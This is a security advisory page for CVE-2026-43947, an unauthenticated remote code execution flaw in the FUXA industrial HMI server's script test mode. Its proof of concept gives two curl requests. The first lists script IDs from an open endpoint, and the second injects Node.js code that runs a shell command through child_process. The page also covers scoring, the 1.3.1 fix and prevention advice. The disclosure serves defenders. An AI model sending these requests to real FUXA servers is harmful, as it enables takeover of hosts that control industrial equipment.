GHSA-rg3m-cfq7-g6h6 CVE-2026-43947
FUXA Vulnerable to Unauthenticated Remote Code Execution via Script Test Mode Authorization Bypass
- Severity
- 0.0 / 10
- High · CVSS 4.0
- Exploit chance (EPSS)
- 0.91%
- Chance of exploitation in the next 30 days. Higher than 60.01% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-863 Incorrect Authorization
- Fix
1.3.1- Upgrade fuxa-server to this version or later
Description
Summary
An unauthenticated Remote Code Execution vulnerability exists in FUXA when secureEnabled is set to true. The POST /api/runscript endpoint checks authorization against the stored script's permission by ID, but when test: true is set in the request, it compiles and executes attacker-supplied code instead of the stored script's code. An unauthenticated attacker who knows a valid script ID and name may execute arbitrary code via test mode if at least one server-side script exists and is accessible without restrictive permissions.
Script IDs and names can be obtained through the unauthenticated information disclosure in GET /api/project (reported separately).
The only prerequisite is that at least one server-side script exists in the project.
Details
Authorization confused deputy in script execution
File: server/runtime/scripts/index.js, lines 86-103
The authorization check looks up the stored script by ID and validates the stored script's permission field:
this.isAuthorised = function (_script, permission) {
const st = scriptModule.getScript(_script); // finds stored script by _script.id
if (admin || (st && (!st.permission || st.permission & permission))) {
return true;
}
return false;
}
When a script has no permission field set (or permission: 0), the expression !st.permission evaluates to true, and the check passes for any caller including guests.
Guest auto-authentication in the middleware
File: server/api/jwt-helper.js, lines 46-72
The verifyToken middleware generates a valid guest JWT when no token is provided:
if (!token) {
token = getGuestToken();
}
The guest token passes verification. The request proceeds to the handler with userId: "guest". The isAuthorised check then finds the stored script and validates against its permission. Scripts without a permission field pass for any user including guests.
Test mode executes attacker-supplied code
File: server/runtime/scripts/msm.js
When test: true is set, runTestScript takes the attacker's code field from the request body, compiles it into a Node.js module via Module._compile, and executes it with full access to require, child_process, fs, and the entire Node.js runtime. The authorization checked the stored script's permission. The execution runs the attacker's code.
PoC
Requires an existing server-side script accessible without restrictive permissions.
Step 1: Retrieve script IDs from the unauthenticated project endpoint
curl -s http://192.168.32.129:1881/api/project | jq '.scripts[] | {id, name, permission}'
{
"id": "legit-001",
"name": "calculate",
}
{
"id": "s_42a888fa-8e3d4213",
"name": "subs",
}
Step 2: Execute whoami without authentication
Using the script ID and name from step 1:
curl -s -X POST http://192.168.32.129:1881/api/runscript \
-H "Content-Type: application/json" \
-d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'
Impact
Any network-reachable attacker can achieve Remote Code Execution on the FUXA server without any credentials. The attacker needs a valid script ID and name (obtainable through the separately reported information disclosure) and one server-side script to exist in the project.
Potential impact includes arbitrary command execution on the host, access to configured device connections and credentials, and compromise of industrial control functionality managed by the FUXA instance.
This issue depends on the presence of an existing server-side script with no restrictive permissions configured. It does not affect configurations without server-side scripts or where script permissions prevent guest access.
Affected versions
npm
| Package | Vulnerable | Fixed in |
|---|---|---|
| fuxa-server | >= 1.3.0, < 1.3.1 |
1.3.1 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
fuxa-server npm → 1.3.1
- npm
npm install fuxa-server@1.3.1- yarn
yarn add fuxa-server@1.3.1- pnpm
pnpm add fuxa-server@1.3.1
Severity breakdown
CVSS 4.0 0.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Attack vector
- Network
- Attack complexity
- Low
- Attack requirements
- None
- Privileges required
- None
- User interaction
- None
- Confidentiality (vulnerable system)
- High
- Integrity (vulnerable system)
- High
- Availability (vulnerable system)
- High
- Confidentiality (subsequent systems)
- None
- Integrity (subsequent systems)
- None
- Availability (subsequent systems)
- None
- Exploit maturity
- Proof of concept
Weakness
CWE-863: Incorrect Authorization
The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check.
How to prevent it
- Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
- Architecture and Design: Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
- Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
- System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-8ghr-w65f-j3qr FUXA's scheduler API missing admin check enables operator-to-admin escalation via scheduled device actions | Medium | Also affects fuxa-server |
| GHSA-h9fj-c2qr-76g2 FUXA has SQL Injection in its TDengine DAQ connector via backslash bypass of escapeTdString | Medium | Also affects fuxa-server |
| GHSA-w86f-rf9w-h3x6 FUXA: Unauthenticated SSRF via Socket.IO DEVICE_WEBAPI_REQUEST and DEVICE_PROPERTY with response reading | High | Also affects fuxa-server |
| GHSA-r9g5-7q8j-958c FUXA provides guest and invalid-token access to protected read APIs in secure mode | Medium | Also affects fuxa-server |
| GHSA-q3w6-q3hc-c5x6 FUXA's Unauthenticated Project Data Disclosure Exposes Server-Side Scripts and Device Configurations | High | Also affects fuxa-server |
| GHSA-fwcm-rqvw-j3p7 FUXA has an unauthenticated arbitrary tag value disclosure via /api/getTagValue | High | Also affects fuxa-server |
| GHSA-68m5-5w2h-h837 FUXA Affected by a Path Traversal Sanitization Bypass | High | Also affects fuxa-server |
| GHSA-c869-jx4c-q5fc FUXA Unauthenticated Remote Arbitrary Scheduler Write | Critical | Also affects fuxa-server |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor